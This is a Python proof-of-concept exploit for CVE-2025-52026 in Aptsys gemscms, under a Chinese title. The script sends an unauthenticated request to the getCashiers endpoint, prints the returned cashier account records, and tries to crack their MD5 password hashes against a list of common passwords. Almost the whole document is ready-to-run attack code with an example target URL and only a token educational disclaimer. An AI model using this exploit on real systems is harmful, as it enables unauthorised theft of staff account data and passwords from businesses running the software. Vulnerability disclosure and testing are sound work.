CVE-2025-52026 | Aptsys gemscms getCashiers接口未授权信息泄露漏洞

import requests import json import hashlib # CVE-2025-52026 PoC - Unauthenticated Information Disclosure # Target: Aptsys gemscms /srvs/membersrv/getCashiers endpoint def exploit_cve_2025_52026(target_url): """ Exploit for CVE-2025-52026 This PoC demonstrates the unauthenticated access to cashier accounts """ # Target endpoint endpoint = f"{target_url}/srvs/membersrv/getCashiers" print(f"[*] Targeting: {endpoint}") print(f"[*] Exploiting CVE-2025-52026...") try: # Send unauthenticated request response = requests.get(endpoint, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Retrieved {len(data)} cashier accounts") print("\n[+] Cashier Data:") print(json.dumps(data, indent=2, ensure_ascii=False)) # Attempt MD5 hash cracking for each account print("\n[*] Attempting MD5 hash cracking...") for account in data: if 'password_hash' in account: password = crack_md5(account['password_hash']) if password: print(f"[+] Cracked: {account.get('username', 'N/A')} -> {password}") return data else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def crack_md5(md5_hash): """ Attempt to crack MD5 hash using common password list Note: For educational purposes only """ common_passwords = [ '123456', 'password', '12345678', 'qwerty', 'admin', '123456789', 'letmein', 'welcome', 'monkey', '1234567', '12345', '1234', 'password1', 'admin123', 'root', '111111', '123123', 'pass', 'test', 'changeme' ] for pwd in common_passwords: if hashlib.md5(pwd.encode()).hexdigest() == md5_hash: return pwd return None if __name__ == "__main__": # Example usage target = "https://vulnerable-server.com" exploit_cve_2025_52026(target)